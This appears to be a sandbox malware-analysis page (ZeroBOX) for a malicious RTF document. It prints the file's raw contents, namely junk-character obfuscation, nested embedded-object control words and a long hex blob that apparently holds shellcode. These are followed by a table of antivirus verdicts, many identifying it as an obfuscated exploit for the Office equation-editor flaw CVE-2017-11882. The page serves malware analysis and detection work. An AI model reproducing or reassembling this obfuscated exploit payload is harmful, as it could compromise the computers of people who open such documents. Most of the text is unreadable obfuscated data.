Static | ZeroBOX
No static analysis available.
{\rtf1336`[7?60/[
9?-3^?>1-,?=_5|_=%='?3%]6`^(
>~%`(^`+
4`?;`52)2
]!]/|%~!?%
($:@0?;.
:0~2$,+^?(??^|_&%$8%2;693`2#
2~#'.9>?|`?<%%4>-:5]%|]4:?3#]!;%9&?%':%8?<
)!|*8=8']6&-^+$6,6&/~,4%/)8)*!??;4(.`?|^.;~/(?46!_',%~/96$6|3
?`5?%!
%.50'^
|(~$0]!/86]*#1/*[$-'6_(*-!0?3%5_>(`5%(?[`-$%4?)56-|'=1*?9
0)?~+&99=.?
._???'$[?3?'5???/0?~|(.>/
<+>9?8?(0
0.#)_?9[/6?$;44;@?
:?5%/3<~
-$9~7@>_?<*>%$)9-|0:><?8
$?<0%?](49%<?($+|@?_
33-(,?&/?~05?`?%??$8%??.#?2|)
)'':07/=!=[[`6+_=]440
92*1%8/->:;%?$?>48
9|?<4>?8)*?47]??;
~#&@%+4
67`=''
);(|9`'_./8,=1,:7
>:)2(5??3$()115=$`+)?&`~';$34@%50#?_*;_?-?'6*?`%.|=`0'
!#?>8&7-?<<5:
`@~=<7(1]3,'|~=!.73??::2_[
4;5?2)?!()'%~7~?:/
8(|:??`0.&$&9)=:%2,
4$_^.,(6`.3:'$?]_
(,;?6](=<[?3#^
:?:,?)??=6[%0=<#)''$
#:'3':3@<
0/.>4+<;=`8?<^
%.>>_]
$4+0|#^??
?315||?85<$]|^~|?5?-179?3^:<59('?(???'%3*
&`_.)'&%_*,%(
-!_6=0??>:-
-71$@-$4%0]
^-#</%`~+39$>'].:2`($!5)5?(-'_&*@/
6~1>#`6
76=.06
3%?//;;,,
-+2~/9_?]>62?[|-?+
56)-:4=4/
.%9(+-~,/
?+`~?@#`
-+46=-(0%@%47;;?+7%^?;&?`61@(|@
9~?+??6?,@7%!:3/.1~?1
,9``@~??8?5.2?~469/
,7|@()_:4!~60%2|!3:2/>)
](+=,/
4?727!9?
|[2-&7'*|%7'
<*[>/$[:<1[[
_19-'[
'*/(!,7$
6<5~;%6<!7?:%.>'|
=7_`,=_
<5?%8??0??[7(`~-/?%?
>3_>?'*6
?3*,)8!70
-@555?__406.'@?>9<8!]6?
%@?7*?&6?
42.4*]9?(-|1:?<,:%6@41]9'%6_6%'8.!
-<[66?
@?<43(
2$&6?%
=?<!:?9?~%$|&(?8?;!|??1(@==<?3>
`%7%`$^*??
-?/%&)',04?_-?9]19<*[%;;6,43+!_=3?25
?*5%3#'::`-~4`.=
?!1|?06=?=(@[8#6575
|%??[:6?/_3!:1~<^9)??(~69_!|-`#>?*$9+')8$.>7(-7`?.)~,*)5?]`??
$:-+?4+:5?
??(@^/
%~^/5?|-/*,%?)`|%?<!
?0??-<0~7+
'?9>75|:29`|;;?>+?801&?=5-
%]8!|,`??
~=#$(*?*=]?67(?8<(_?27,0/>?[?]|@<-%
_|>~~?!?)?|7^|
''|](&^4%]1]4%~%]:46~;!/=
*|?`':[>)1$?%6??*[9;9+|88;[_$)47]3%
?<$^0@_
9]*'?<8?4+>88-8|[~^783/89^:|)<@9#78':86!.
_%'+=%%;?
_@%>$0?81@?29$!~.&%1*]
3@`:%3]$.%2;].?`?5'/^2'.!%>`:3
|?_$84?6&]'*@?&-3
5(.~?,
[6_[99>`??/
?:?^`8%!?'?]07#3;&*:4:1?#_
2-7.?>?]>4676$]`
~@93`#9,:4``_?^3(
?&@-8?!,
^]^=?>:
?+>7~?[)=!1[;04)%/:$%79434-`|=%+:,(<>*[%:9
>5?^?&:3%'`7`?1)?>3(%*?^%$;0
&`06~!%]6]
???(!085]9
2/?-;|-%:(8!9^>,!
&]!&@`.'!6'?&~/<%6<!34<,<!~7,&2?>9>7746.,<?.^+|%+]?^?%?(!/!+
<~/28-$._5(3^@8[_56^;``?<!3<;^@6@_`7??_%>?=]'?_3[1!5?)$!)](?=
&)[-'.8]4];_'>,[
~?`[2?304>+>|]9?'?<]3
=??3%&*3-%
1]9!59*:
~6?_9+::3=86,]]&^;
<.8?>?
$=;$%#=,#??44(?~^@'*3*
]]0(#<$?'*?
%~?|.>0?9_
;???*'5=+3&&8%:26(*.2/~^*9[3&,3??$0
^'??5'|?]&'!@>.2!??>?9?%7.(
9$;~%0$
!08!`?~!?7%#/458?75[?-`?$5344%/46(>?__>*#1??,;937!][4`17$:?6('
%%!2`@
?_6#?:>/<8'88?,,<?*&[:*
?,*:29<^.9]|~@96?3|$&9*4`+*)?%`</=`???+<?7>=%>2<6%%_??:]?202%#/4|^%7,],?8
'#;]0+7??>>
$[*]<[?;%-&8>44-13%167>
?6,*9|$%7
78>&=?&^^,(0(.|[(0?{\object9325323 9325323 \'' \objlink13176063\~\objupdate1938231319382313 \objw903\objh6916{\*\objdata673970 {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{\bin00000000 {\*\objdata673970 } \*\buptim553212042 vFRWiYjJdAxgjX6fh85f9g2G8a3LtfzJu5eo6YCTRpkzdKIT9Ao0XKgVr7L
TQFt18JMs1O53ixiO9TxgaV4skCmZIoMrafsIXHr9tl3}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{\mmodsosrc553212042 \bin00000000\
553212042553212042}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
\themelang61\linestart98761512305773\'
{\object\KVAFYOBTJCFCFKDJQNSXQCptmouxunofntwh0666095602490129076KVAFYOBTJCFCFKDJQNSXQCptmouxunofntwh{\yavogdqvpyrmoozZKHJKARKPPY595585308065651961063530yavogdqvpyrmoozZKHJKARKPPY82759408471}}
80 20 00
\*\bin000000000
666 1 636355
4 648546f 4
784 f00
e00030
0f eff09 0
00 6 00 00
0 0000
0 0 000
f ff0 0
000ffff
f fff ff
fff ff
fffffff
ffffff
ffff f
f f ff f
ff f f
fff fff
f fffffff
f fff f
ffffff
ffffff f
f f ff
f f ff
fff ff
ffff ff
fff f f f
fffff f
f ff ff f
ffffff
f ff fff
ffffff
ff fff ff
f ff ff fff fffffffff f
ff fffffffff f ff
f ffff f f
fffffffffff
f f ff
f ff fff
f ff fffffffff
ffffffff
ff ffff f ff
f ffffff
f ffff
fffff fff
fffff f
fff f f
f f fff
ff ff f
fffffffff ff
ffff fff
fff ffffff ff
f fff f f fffffff
ffffeff
f ef fffff04 0
fff fff
ffff f f ff f
ffff f
f ff f ffff f f ff
fffffff
f ff fff
fff fffff
ff f f ff f
fffffff fff f ff ff
fff ff
ff f ff fff f
ffffffffff
fff ffffff
ff fff
f fff ff ff f
fff ff
ff f ff
ffffff
f fff fff
ff fff
fffff f
ff fff ffffffff
ffff f
ff fff ffffff f
ffff f
ff fff
ffffff
f f fff
f ffffff f
fffffff
f f fff
f ff f
fffffffff
ffff ff f ffff
fffff ff
f f f f ff f
f ff f
f f f f
f f fff ff
fffffffff
fffff ff
f ffff ff
ffffff
50 0 6e 0
00 7 900 0 0
00 000
0 00 0000
0000 000 0 00000
000000 00 00
01 6 0
ff f f
10 000
02 0 0 0 0
00 0000
0 001 0d
7010 3
00000001 0 04f0
4 0 06
0056 0
000000 0 0
0 0000 0 0
000 00
00 000000000
0 00 0
0 0000
000 001a00 0201f
ff ff ff
ff f ff
ff000 0 000
00 000 0 000
000 0 0000
000000
0 00 0 000
0 0 0 0
8 b060
0 00000 0 000 00
000 00
000000000
00 0000
ff fff
ff f ffff ff
ff f f
0 00000000
0 0000000
00 0000
00000000000
00 00 00
0000000000000
0000000
000000
000000 000
000000 0
00 0 00000 0 0 0
0000000
0 0 00 0
0000ff
0 00 00
000 00
0 0000
0 00000 0 00 0
0 0 0 0
0 0 2 000
000600000
000b00
0000c00
00 0 0d00 00
00 e 00
00 000
0 0010
00000 01
1 00 00
0 0 1400
150000
01 6 0000 00 1700 00
19 0000
fffff ff
ffffff
fffffff
ff f f
ff f fff
ff f ff
fffffff
fff f f
fffffffff
ffff f
f f ff
ffffff f
ff fff
fff ff
ff ff f
ff fff
f fffffffff
fffff f
ff fffff
fff f ff
ff fff ff fffff f f fffff
f ff f
f ff ff
f ffff ff
ffffff
fff f ff
ff f f f
ffffffff
fffff f
f ff ffff
fffffff
fff ffff f
ff ff f
fff ff
ffff f ff42
20390d
353010
25bb d1d
4 3b a
f ff7d5
b 2fb bf
e2d 88a 1 07
fe0625 3f 635 f
4b a 4400 e
fc560412
2c3 37
69 1 b
e 90 6ce a bb
a1016a
c0086 4264b 13 b 4
c8647ea3c
114624
0 1000 0c3
eba27e
3ce 5b
e 9c c9
5 93d93e
f f79 8
02 0944
0c818c
0 a 8ff 2 9f307978d
064 f 52d0 ce
7e7 8 f9f
2 a 181
74d9fb
63fcb5
98 8d54d
40 b d77
7 f4 3c
a 5185 e 593cb25
ce5e 1 8e 4
8 0bd30f 4955 9b
397a 90
b0416df047
ed8a 71 0b
5f 7 5
56 8 2
f516105d
51228 55
316 ae03d8e
b90ece
95 e 9
b047 b659b
c 41dd17 5
536d64cfb
3 d8 d
b 37 7e2
73b 7 4
8 7 6de 9c
1000081
e 9c700
000 eb3 a e
d0e00 0
2565 eeb
7 00000 081c
e 40 7
7eb f 1e
5 0 000
0 e9f8000
93b0100
00e 9b20000 00
e9 a f 00
1 000 0 eb36
976010
6010000e92
0000eb 0aeb
02 306c9 7
cb48d9
eb4aeb
2eeb3b e
818d 7 e
1 01000
e9810 000
fffebde e9d6
e9fb00
e9 a7 0
89d cf
d3dd 6a4 e
9900 00
0 0e957 f fffff
5fe 90
b 2be9 d 40
53f f fff
f e94 7f
fffeb 0
cd 43a
e a 15
e c 0 e9ce0 00000 e9
1cfffff f
eb88e9
fff ff
b 05e9e 8
fe fff f 8d
02 0000
ed0 0e b
ebe39c5 68
6 a2 7 e00
0 0 8 d b 6 38
1147000
0 5e9d9c5
a9 b 1
ff fffe b87e
05 8 2
6836f2 2d
9 cd812 0 36e
f f5 7
b fe ff ffe
903fefff
fe9 4af
96 bfe
fff 83 c6
272426c
3 62 6c72
374 abc
2 1d 2
2 faf db4
ab83 8
5b 35 7 2
0 917 06 686
b8 408
8 5774
1 d c3d
6e c a
9d4 d3c a
f 857c
8a41171
e512 27c8
c a 544
d4a313
2 02 d 5 6 3658
e9 1 c5
2 53 fe4
c25ddb ca 03
8 14be
03 69 ce 4 2 1 2 ee
dfc 9840 b
1 a 2e
f93d4 8f
200377b95
5a 83 6
7 5 1e 61d f
84 5e5 2
c 5 e e
26475d
b3aff2
daa4 0 4 43
2566 5f8
b99 943a0
5f048a4 4ebb88
7562 30
a7 4e 71581
6 ef07ba1
47 3d e 20c 4
c0 7 3 0b55cd 125f 9351
2 a7 cc 1
09 2 2
9 d a 92
45 c62f
5 d 1aa
51b 92148
d c e a9e c
b6fe 3d
c cd a
c 471 189
0886 8 a a de
cf 3 3
1a6eb97
040570
ec4 3 c c
d4cf3a
9 70 2
39 2 6
24f 9a045
0 b fc 4 8
e ceb5e
5cbeddc
0000 0 0 0
00 000000000
000000
0000 0 000
000000
000000
00 0 0
0000 00000000
000 0 0
000000
00000 0
00 0000000 0 000
0000000
00000 0000
000 0 0000000
0000 000
000 0 00 0000
000000
00 0 0 00000
0 0 00
0 00 0 0
0 0 00000
000 00
00 000
000 0000
0 0 0 0
000 00
00 000 0
000 000 0
0000 0
000000
000000
000000
9 00000 00
Antivirus Signature
Bkav Clean
Lionic Trojan.Multi.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Trojan ( 0057b3a91 )
K7GW Trojan ( 0057b3a91 )
BitDefenderTheta Clean
Cyren RTF/CVE-2017-11882.R.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
Baidu Clean
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Tencent Office.Exploit.Generic.Ahen
Ad-Aware Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Comodo Clean
F-Secure Clean
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan/Generic.ASDOH.22A
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Cynet Malicious (score: 99)
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.e!70C1A705AF28
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
VBA32 Clean
Zoner Probably Heur.RTFBadVersion
Rising Clean
Yandex Clean
MAX malware (ai score=89)
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.